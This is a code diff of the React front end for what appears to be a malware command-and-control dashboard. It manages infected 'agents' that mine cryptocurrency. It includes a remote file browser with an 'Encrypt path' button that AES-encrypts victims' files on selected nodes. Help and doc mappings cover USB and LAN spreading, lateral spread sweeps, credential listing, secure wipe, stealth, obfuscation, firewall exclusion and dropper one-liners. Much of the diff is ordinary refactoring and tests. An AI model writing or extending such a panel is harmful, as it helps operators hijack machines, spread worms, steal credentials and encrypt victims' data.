setBusy(true);
|
||||
onTerminalLine?.(
|
||||
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
|
||||
true
|
||||
);
|
||||
|
||||
for (const t of targets) {
|
||||
api
|
||||
.sendAgentCommand(t.id, 'encrypt_path', {
|
||||
path: cwd || homeDir,
|
||||
command: recursive ? 'recursive' : '',
|
||||
})
|
||||
.catch((e) => {
|
||||
onTerminalLine?.(
|
||||
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
|
||||
false
|
||||
);
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="remote-dir-browser">
|
||||
<div className="rdb-header">
|
||||
<span className="font-tech rdb-title">REMOTE BROWSER — {agentName ?? agentId.slice(0, 8)}</span>
|
||||
<button type="button" className="crucible-op-btn" disabled={!online || busy} onClick={refresh}>
|
||||
Refresh
|
||||
</button>
|
||||
</div>
|
||||
{!online && <p className="rdb-offline">Agent offline — browse unavailable</p>}
|
||||
<p className="rdb-hint form-hint">
|
||||
Browse the remote machine filesystem. Encrypt runs on {encryptTargets.length} selected online node
|
||||
{encryptTargets.length !== 1 ? 's' : ''}.
|
||||
</p>
|
||||
<div className="rdb-path font-tech" title={cwd || homeDir}>
|
||||
{browseLabel}
|
||||
</div>
|
||||
<div className="rdb-breadcrumb font-tech">
|
||||
<button type="button" className="rdb-crumb" onClick={goHome}>home</button>
|
||||
{crumbs.map((c, i) => (
|
||||
<span key={`${c}-${i}`}>
|
||||
<span className="rdb-sep">/</span>
|
||||
<button
|
||||
type="button"
|
||||
className="rdb-crumb"
|
||||
onClick={() => {
|
||||
const parts = crumbs.slice(0, i + 1);
|
||||
const root = cwd.startsWith('/') ? '/' : '';
|
||||
setCwd(root + parts.join(sep));
|
||||
}}
|
||||
>
|
||||
{c}
|
||||
</button>
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
<ul className="rdb-list">
|
||||
<li>
|
||||
<button type="button" className="rdb-row" onClick={() => navigate('..', true)}>..</button>
|
||||
</li>
|
||||
{entries.map((e) => (
|
||||
<li key={e.name}>
|
||||
<button
|
||||
type="button"
|
||||
className={`rdb-row ${e.is_dir ? 'rdb-dir' : 'rdb-file'}`}
|
||||
onClick={() => navigate(e.name, e.is_dir)}
|
||||
title={e.is_dir ? 'Open folder' : `${e.size} bytes`}
|
||||
>
|
||||
{e.is_dir ? '📁' : '📄'} {e.name}
|
||||
{!e.is_dir && (
|
||||
<span className="rdb-size">
|
||||
{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}
|
||||
</span>
|
||||
)}
|
||||
</button>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div className="rdb-actions">
|
||||
<label className="rdb-recursive">
|
||||
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
|
||||
Recursive
|
||||
</label>
|
||||
<button
|
||||
type="button"
|
||||
className="button rdb-encrypt-btn"
|
||||
disabled={!online || busy || encryptTargets.length === 0}
|
||||
title="AES-256-GCM encrypt files at the current path on selected node(s)"
|
||||
onClick={runEncrypt}
|
||||
>
|
||||
🔒 Encrypt path
|
||||
</button>
|
||||
</div>
|
||||
{err && <p className="rdb-err">{err}</p>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -2,6 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { createPortal } from 'react-dom';
|
||||
import { docAnchorForField } from '../help/docAnchors';
|
||||
import { FIELD_HELP } from '../help/settingHelp';
|
||||
import { UI_HELP } from '../help/uiHelp';
|
||||
import './HelpTip.css';
|
||||
|
||||
interface HelpTipProps {
|
||||
@@ -24,7 +25,7 @@ function DocReadMoreLink({ href }: { href: string }) {
|
||||
}
|
||||
|
||||
export function HelpTip({ field, label }: HelpTipProps) {
|
||||
const text = FIELD_HELP[field];
|
||||
const text = FIELD_HELP[field] ?? UI_HELP[field];
|
||||
const docAnchor = docAnchorForField(field);
|
||||
const triggerRef = useRef<HTMLButtonElement>(null);
|
||||
const popupRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { ReactNode, useEffect, useRef, useState } from 'react';
|
||||
import { ReactNode, memo, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { NavLink, useLocation } from 'react-router-dom';
|
||||
import AmbientBackground from '../Ambient/AmbientBackground';
|
||||
import SystemStatusBar from '../Visual/SystemStatusBar';
|
||||
@@ -15,7 +15,7 @@ import { resolvePageWeather } from '../../help/pageWeather';
|
||||
import { api } from '../../api/client';
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
import ComradeAvatar from '../Presence/ComradeAvatar';
|
||||
import type { ServerConfig } from '../../types';
|
||||
import type { ServerConfig, ServerInfo } from '../../types';
|
||||
import '../Presence/Presence.css';
|
||||
import './Layout.css';
|
||||
import './MobileNav.css';
|
||||
@@ -145,12 +145,19 @@ function formatHashrate(hs: number): string {
|
||||
return `${hs.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
function FleetReadout() {
|
||||
const FleetReadout = memo(function FleetReadout() {
|
||||
const { agents } = useWebSocket();
|
||||
const online = agents.filter((a) => a.status === 'online').length;
|
||||
const total = agents.length;
|
||||
const totalHashrate = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
||||
const fillPct = total > 0 ? Math.round((online / total) * 100) : 0;
|
||||
const { online, total, totalHashrate, fillPct } = useMemo(() => {
|
||||
const on = agents.filter((a) => a.status === 'online').length;
|
||||
const tot = agents.length;
|
||||
const hr = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
||||
return {
|
||||
online: on,
|
||||
total: tot,
|
||||
totalHashrate: hr,
|
||||
fillPct: tot > 0 ? Math.round((on / tot) * 100) : 0,
|
||||
};
|
||||
}, [agents]);
|
||||
|
||||
// Tick animation: flash hashrate value whenever it meaningfully changes
|
||||
const [flash, setFlash] = useState(false);
|
||||
@@ -191,13 +198,18 @@ function FleetReadout() {
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
function MobileTopStats() {
|
||||
const MobileTopStats = memo(function MobileTopStats() {
|
||||
const { agents } = useWebSocket();
|
||||
const online = agents.filter((a) => a.status === 'online').length;
|
||||
const total = agents.length;
|
||||
const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
||||
const { online, total, hr } = useMemo(() => {
|
||||
const on = agents.filter((a) => a.status === 'online').length;
|
||||
return {
|
||||
online: on,
|
||||
total: agents.length,
|
||||
hr: agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0),
|
||||
};
|
||||
}, [agents]);
|
||||
return (
|
||||
<div className="mobile-top-stats">
|
||||
<strong>
|
||||
@@ -206,17 +218,23 @@ function MobileTopStats() {
|
||||
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
export default function Layout({ children }: LayoutProps) {
|
||||
const location = useLocation();
|
||||
const isMobile = useIsMobileLayout();
|
||||
const { othersOnline, comrades } = usePresence();
|
||||
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [moreOpen, setMoreOpen] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
api.getConfig().then(setServerConfig).catch(() => {});
|
||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||
.then(([cfg, info]) => {
|
||||
setServerConfig(cfg);
|
||||
setServerInfo(info);
|
||||
})
|
||||
.catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -232,7 +250,7 @@ export default function Layout({ children }: LayoutProps) {
|
||||
};
|
||||
}, [moreOpen]);
|
||||
|
||||
const setupStatus = getSetupStatus(serverConfig);
|
||||
const setupStatus = getSetupStatus(serverConfig, serverInfo);
|
||||
const pageWeather = resolvePageWeather(location.pathname);
|
||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||
const mobileShortLabel: Record<string, string> = {
|
||||
|
||||
@@ -170,6 +170,15 @@ export default function MatrixRain() {
|
||||
|
||||
let raf: number;
|
||||
let lastTime = 0;
|
||||
let paused = document.visibilityState === 'hidden';
|
||||
|
||||
const onVis = () => {
|
||||
paused = document.visibilityState === 'hidden';
|
||||
if (!paused && !raf) {
|
||||
raf = requestAnimationFrame(draw);
|
||||
}
|
||||
};
|
||||
document.addEventListener('visibilitychange', onVis);
|
||||
|
||||
const drawWordDrop = (wd: WordDrop, speedMult: number, intense: boolean) => {
|
||||
const H = canvas.height;
|
||||
@@ -204,6 +213,10 @@ export default function MatrixRain() {
|
||||
};
|
||||
|
||||
const draw = (ts: number) => {
|
||||
if (paused) {
|
||||
raf = 0;
|
||||
return;
|
||||
}
|
||||
raf = requestAnimationFrame(draw);
|
||||
const intense = forgingRef.current || crucibleRef.current;
|
||||
const targetFps = intense ? 50 : 24;
|
||||
@@ -317,6 +330,7 @@ export default function MatrixRain() {
|
||||
raf = requestAnimationFrame(draw);
|
||||
|
||||
return () => {
|
||||
document.removeEventListener('visibilitychange', onVis);
|
||||
cancelAnimationFrame(raf);
|
||||
clearInterval(injectInterval);
|
||||
clearInterval(wordInterval);
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { useCallback, useEffect, useState } from 'react';
|
||||
import { useVisibleInterval } from '../../hooks/usePageVisible';
|
||||
import { api } from '../../api/client';
|
||||
import ComradeIndicators from '../Presence/ComradeIndicators';
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
@@ -12,34 +13,37 @@ export default function SystemStatusBar() {
|
||||
const [buildCount, setBuildCount] = useState(0);
|
||||
const { othersOnline } = usePresence();
|
||||
|
||||
useEffect(() => {
|
||||
const poll = async () => {
|
||||
try {
|
||||
await api.healthCheck();
|
||||
setServerOk(true);
|
||||
} catch {
|
||||
setServerOk(false);
|
||||
}
|
||||
try {
|
||||
const agents = await api.listAgents();
|
||||
setAgentTotal(agents.length);
|
||||
setAgentOnline(agents.filter((a) => a.status === 'online').length);
|
||||
} catch {
|
||||
setAgentTotal(0);
|
||||
setAgentOnline(0);
|
||||
}
|
||||
try {
|
||||
const builds = await api.listBuilds();
|
||||
setBuildCount(builds.length);
|
||||
} catch {
|
||||
setBuildCount(0);
|
||||
}
|
||||
};
|
||||
poll();
|
||||
const id = setInterval(poll, 15000);
|
||||
return () => clearInterval(id);
|
||||
const poll = useCallback(async () => {
|
||||
try {
|
||||
await api.healthCheck();
|
||||
setServerOk(true);
|
||||
} catch {
|
||||
setServerOk(false);
|
||||
}
|
||||
try {
|
||||
const agents = await api.listAgents();
|
||||
setAgentTotal(agents.length);
|
||||
setAgentOnline(agents.filter((a) => a.status === 'online').length);
|
||||
} catch {
|
||||
setAgentTotal(0);
|
||||
setAgentOnline(0);
|
||||
}
|
||||
try {
|
||||
const builds = await api.listBuilds();
|
||||
setBuildCount(builds.length);
|
||||
} catch {
|
||||
setBuildCount(0);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
void poll();
|
||||
}, [poll]);
|
||||
|
||||
useVisibleInterval(() => {
|
||||
void poll();
|
||||
}, 15000);
|
||||
|
||||
return (
|
||||
<div className={`system-status-bar${othersOnline ? ' system-status-bar--comrades-online' : ''}`}>
|
||||
<span className={`status-pill ${serverOk ? 'ok' : 'bad'}`}>
|
||||
|
||||
@@ -132,9 +132,7 @@ export function VesicaPiscis({ className = '', stroke = DEFAULT_STROKE, opacity
|
||||
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
|
||||
<path
|
||||
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
|
||||
stroke="#00f5ff"
|
||||
strokeWidth="0.16"
|
||||
opacity="0.6"
|
||||
stroke="var(--neon-cyan)"
|
||||
/>
|
||||
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
|
||||
</g>
|
||||
@@ -211,7 +209,7 @@ export function KnowledgeKey({ className = '', stroke = DEFAULT_STROKE, opacity
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
|
||||
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
|
||||
<circle cx="38" cy="38" r="8" stroke="#00f5ff" strokeWidth="0.25" />
|
||||
<circle cx="38" cy="38" r="8" stroke="var(--neon-cyan)" strokeWidth="0.25" />
|
||||
<polygon
|
||||
points="38,22 46,30 38,38 30,30"
|
||||
strokeWidth="0.2"
|
||||
@@ -243,7 +241,7 @@ export function SriYantraLite({ className = '', stroke = DEFAULT_STROKE, opacity
|
||||
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
|
||||
<polygon points={tri(32, false)} />
|
||||
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
|
||||
<polygon points={tri(16, false)} stroke="#00f5ff" opacity="0.55" />
|
||||
<polygon points={tri(16, false)} stroke="var(--neon-cyan)" opacity="0.55" />
|
||||
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
@@ -67,9 +67,10 @@ vi.mock('../context/ForgeContext', () => ({
|
||||
|
||||
vi.mock('../api/download', () => {
|
||||
const downloadAuthedFile = vi.fn();
|
||||
const downloadApiFile = vi.fn();
|
||||
return {
|
||||
downloadAuthedFile,
|
||||
downloadApiFile: downloadAuthedFile,
|
||||
downloadApiFile,
|
||||
};
|
||||
});
|
||||
|
||||
@@ -188,15 +189,22 @@ describe('DownloadButton', () => {
|
||||
});
|
||||
|
||||
it('downloads on click and shows busy label', async () => {
|
||||
downloadApiFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 50)));
|
||||
let resolveDownload!: () => void;
|
||||
downloadApiFileMock.mockImplementation(
|
||||
() => new Promise<void>((r) => { resolveDownload = r; })
|
||||
);
|
||||
render(
|
||||
<DownloadButton apiPath="/api/x" filename="a.bin">
|
||||
Save
|
||||
</DownloadButton>
|
||||
);
|
||||
const btn = screen.getByRole('button', { name: 'Save' });
|
||||
await userEvent.setup().click(btn);
|
||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||
const user = userEvent.setup();
|
||||
await user.click(btn);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||
});
|
||||
resolveDownload();
|
||||
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
|
||||
});
|
||||
|
||||
@@ -222,14 +230,21 @@ describe('AuthDownloadButton', () => {
|
||||
});
|
||||
|
||||
it('calls downloadAuthedFile and shows ellipsis while busy', async () => {
|
||||
downloadAuthedFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 30)));
|
||||
let resolveDownload!: () => void;
|
||||
downloadAuthedFileMock.mockImplementation(
|
||||
() => new Promise<void>((r) => { resolveDownload = r; })
|
||||
);
|
||||
render(
|
||||
<AuthDownloadButton apiPath="/api/build/1" filename="b.exe">
|
||||
DL
|
||||
</AuthDownloadButton>
|
||||
);
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'DL' }));
|
||||
expect(screen.getByRole('button', { name: '…' })).toBeDisabled();
|
||||
const user = userEvent.setup();
|
||||
await user.click(screen.getByRole('button', { name: 'DL' }));
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('button', { name: '…' })).toBeDisabled();
|
||||
});
|
||||
resolveDownload();
|
||||
await waitFor(() =>
|
||||
expect(downloadAuthedFileMock).toHaveBeenCalledWith('/api/build/1', 'b.exe')
|
||||
);
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import React, { useEffect, useRef, useCallback, useState } from 'react';
|
||||
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
|
||||
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
@@ -22,6 +23,12 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
const wsRef = useRef<WebSocket | null>(null);
|
||||
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const unmounted = useRef(false);
|
||||
// Guard: true while an openSocket() invocation is in-flight (awaiting ticket fetch).
|
||||
// A second connect() call while one is already opening is a no-op — prevents duplicate
|
||||
// sockets when 'aetherforge-auth' fires during the async fetch.
|
||||
const openingRef = useRef(false);
|
||||
// AbortController for the current in-flight ws-ticket fetch; replaced on each open attempt.
|
||||
const ticketAbortRef = useRef<AbortController | null>(null);
|
||||
const [isConnected, setIsConnected] = useState(false);
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
||||
@@ -69,12 +76,23 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
|
||||
const openSocket = async () => {
|
||||
if (openingRef.current) return;
|
||||
openingRef.current = true;
|
||||
|
||||
// Cancel any previously in-flight ticket fetch before starting a new one.
|
||||
if (ticketAbortRef.current) {
|
||||
ticketAbortRef.current.abort();
|
||||
}
|
||||
const abortCtrl = new AbortController();
|
||||
ticketAbortRef.current = abortCtrl;
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
let wsQuery = `token=${encodeURIComponent(token)}`;
|
||||
try {
|
||||
const resp = await fetch('/api/v1/auth/ws-ticket', {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
signal: abortCtrl.signal,
|
||||
});
|
||||
if (resp.ok) {
|
||||
const data = (await resp.json()) as { ticket?: string };
|
||||
@@ -83,9 +101,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
/* fall back to legacy token query param */
|
||||
/* fall back to legacy token query param — also catches AbortError */
|
||||
} finally {
|
||||
if (ticketAbortRef.current === abortCtrl) {
|
||||
ticketAbortRef.current = null;
|
||||
}
|
||||
openingRef.current = false;
|
||||
}
|
||||
if (unmounted.current) return;
|
||||
// If this invocation was aborted by a newer call, bail out — the newer
|
||||
// call will (or already has) opened its own socket.
|
||||
if (abortCtrl.signal.aborted) return;
|
||||
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
@@ -106,7 +132,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg = JSON.parse(event.data) as WSMessage;
|
||||
setLatestMessage(msg);
|
||||
if (WS_LATEST_MESSAGE_TYPES.has(msg.type)) {
|
||||
setLatestMessage(msg);
|
||||
}
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
@@ -144,8 +172,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === update.agent_id);
|
||||
if (idx < 0) return prev;
|
||||
if (agentStatsUnchanged(prev[idx], update)) return prev;
|
||||
return prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
@@ -196,9 +227,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
...(update.services !== undefined ? { services: update.services } : {}),
|
||||
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
||||
}
|
||||
: a
|
||||
)
|
||||
);
|
||||
: a,
|
||||
);
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
@@ -294,11 +325,37 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
};
|
||||
}, [connect]);
|
||||
|
||||
const value = useMemo(
|
||||
() => ({
|
||||
isConnected,
|
||||
agents,
|
||||
recentShares,
|
||||
fleetAlerts,
|
||||
poolStatus,
|
||||
aiActivity,
|
||||
agentLogs,
|
||||
commandResults,
|
||||
policyAcks,
|
||||
latestMessage,
|
||||
sendDashboardMessage,
|
||||
}),
|
||||
[
|
||||
isConnected,
|
||||
agents,
|
||||
recentShares,
|
||||
fleetAlerts,
|
||||
poolStatus,
|
||||
aiActivity,
|
||||
agentLogs,
|
||||
commandResults,
|
||||
policyAcks,
|
||||
latestMessage,
|
||||
sendDashboardMessage,
|
||||
],
|
||||
);
|
||||
|
||||
return (
|
||||
<WebSocketContext.Provider value={{
|
||||
isConnected, agents, recentShares, fleetAlerts, poolStatus,
|
||||
aiActivity, agentLogs, commandResults, policyAcks, latestMessage, sendDashboardMessage,
|
||||
}}>
|
||||
<WebSocketContext.Provider value={value}>
|
||||
{children}
|
||||
</WebSocketContext.Provider>
|
||||
);
|
||||
|
||||
@@ -2,7 +2,6 @@ import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import {
|
||||
CRUCIBLE_PHASE_C_ACTIONS,
|
||||
CRUCIBLE_PHASE_C_STUBS,
|
||||
buildSSHForwardPayload,
|
||||
isWindowsPlatform,
|
||||
newPortForwardRow,
|
||||
@@ -84,7 +83,9 @@ describe('crucibleOps', () => {
|
||||
it('lists Phase C actions', () => {
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
|
||||
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('credential_vault_list');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('secure_wipe');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('tunnel_ssh_forward');
|
||||
});
|
||||
|
||||
it('parseRemoteHostPort splits host and port', () => {
|
||||
|
||||
@@ -16,15 +16,6 @@ export const CRUCIBLE_PHASE_C_ACTIONS = [
|
||||
|
||||
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
|
||||
|
||||
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
|
||||
export const CRUCIBLE_PHASE_C_STUBS = [
|
||||
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
|
||||
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
|
||||
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
|
||||
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
|
||||
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
|
||||
] as const;
|
||||
|
||||
export function isWindowsPlatform(platform?: string): boolean {
|
||||
if (!platform) return true;
|
||||
return platform.toLowerCase().includes('win');
|
||||
|
||||
@@ -25,15 +25,15 @@ describe('docAnchors', () => {
|
||||
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
|
||||
});
|
||||
|
||||
it('returns /docs/# paths', () => {
|
||||
it('returns /docs anchor paths', () => {
|
||||
for (const path of Object.values(DOC_ANCHORS)) {
|
||||
expect(path).toMatch(/^\/docs\/#[\w-]+$/);
|
||||
expect(path).toMatch(/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/);
|
||||
}
|
||||
});
|
||||
|
||||
it('docAnchorForField resolves known keys', () => {
|
||||
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
|
||||
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#dashboard');
|
||||
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#calibrate');
|
||||
expect(docAnchorForField('unknown_field')).toBeUndefined();
|
||||
});
|
||||
|
||||
@@ -44,15 +44,17 @@ describe('docAnchors', () => {
|
||||
});
|
||||
|
||||
it('covers top forge spread fields', () => {
|
||||
expect(DOC_ANCHORS.usb_spread).toBe('/docs/#spread-campaigns');
|
||||
expect(DOC_ANCHORS.auto_spread).toBe('/docs/#spread-campaigns');
|
||||
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#dashboard');
|
||||
expect(DOC_ANCHORS.usb_spread).toBe('/docs/SPREAD_TECHNIQUES.html#usb');
|
||||
expect(DOC_ANCHORS.auto_spread).toBe('/docs/SPREAD_TECHNIQUES.html#lan');
|
||||
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#crucible-ops');
|
||||
});
|
||||
|
||||
it('every HelpTip field has a wiki anchor', () => {
|
||||
for (const field of HELP_TIP_FIELDS) {
|
||||
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
|
||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(/^\/docs\/#[\w-]+$/);
|
||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(
|
||||
/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
||||
export const DOC_ANCHORS: Record<string, string> = {
|
||||
// Calibrate
|
||||
calibrate_wallet: '/docs/#dashboard',
|
||||
calibrate_wallet: '/docs/#calibrate',
|
||||
calibrate_quick_setup: '/docs/#quick-start',
|
||||
public_url: '/docs/#quick-start',
|
||||
cloudflare_tunnel_token: '/docs/#dashboard',
|
||||
public_url: '/docs/#calibrate',
|
||||
cloudflare_tunnel_token: '/docs/#calibrate',
|
||||
open_firewall_on_start: '/docs/#security-auth',
|
||||
obfuscate_default: '/docs/#forge',
|
||||
sign_enabled: '/docs/#forge',
|
||||
@@ -64,12 +64,12 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
https_beacon_fallback: '/docs/#agent',
|
||||
|
||||
// Forge — spread & ops
|
||||
usb_spread: '/docs/#spread-campaigns',
|
||||
share_spread: '/docs/#spread-campaigns',
|
||||
auto_spread: '/docs/#spread-campaigns',
|
||||
remote_aggressive: '/docs/#dashboard',
|
||||
mesh_p2p: '/docs/#agent',
|
||||
hole_punch: '/docs/#agent',
|
||||
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
|
||||
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
remote_aggressive: '/docs/#crucible-ops',
|
||||
mesh_p2p: '/docs/#platform-matrix',
|
||||
hole_punch: '/docs/#crucible-ops',
|
||||
|
||||
// AI
|
||||
ai_enabled: '/docs/#alerts-ai',
|
||||
@@ -77,8 +77,38 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
ai_model: '/docs/#alerts-ai',
|
||||
|
||||
// Crucible / agent remote
|
||||
firewall_remote: '/docs/#agent',
|
||||
firewall_remote: '/docs/#crucible-ops',
|
||||
firewall_exclusion: '/docs/#agent',
|
||||
|
||||
// Mission / builds
|
||||
spread_kit: '/docs/#forge',
|
||||
forge_deliverable: '/docs/#forge',
|
||||
forge_simple_mode: '/docs/#mission-deck',
|
||||
md_overview: '/docs/#mission-deck',
|
||||
md_operation_chip: '/docs/#mission-deck',
|
||||
md_spread_profile: '/docs/#mission-deck',
|
||||
md_campaign_identity: '/docs/#mission-deck',
|
||||
md_strike_pipeline: '/docs/#mission-deck',
|
||||
md_equip_strike: '/docs/#mission-deck',
|
||||
|
||||
// Calibrate server
|
||||
websocket_ping_seconds: '/docs/#calibrate',
|
||||
log_pool_traffic: '/docs/#calibrate',
|
||||
webhook_url: '/docs/#calibrate',
|
||||
|
||||
// Dashboard / fleet UI
|
||||
dash_fleet_health: '/docs/#dashboard',
|
||||
dash_fleet_pipeline: '/docs/#quick-start',
|
||||
dash_pool_stratum: '/docs/#mining',
|
||||
dash_ai_activity: '/docs/#alerts-ai',
|
||||
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
crucible_node_roster: '/docs/#dashboard',
|
||||
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
crucible_full_audit: '/docs/#crucible-ops',
|
||||
bm_pin_dropper: '/docs/#build-manager',
|
||||
bm_dropper_oneliner: '/docs/#build-manager',
|
||||
pt_path_tracer: '/docs/#path-tracer',
|
||||
fleet_runtime_policy: '/docs/#calibrate',
|
||||
};
|
||||
|
||||
export function docAnchorForField(field: string): string | undefined {
|
||||
|
||||
@@ -26,6 +26,24 @@ describe('lanEndpointCandidates', () => {
|
||||
expect(urls).toEqual(['http://192.168.1.10:8989']);
|
||||
});
|
||||
|
||||
it('includes tunnel URL when present', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: 'localhost',
|
||||
local_ips: ['192.168.1.10'],
|
||||
lan_url: 'http://192.168.1.10:8989',
|
||||
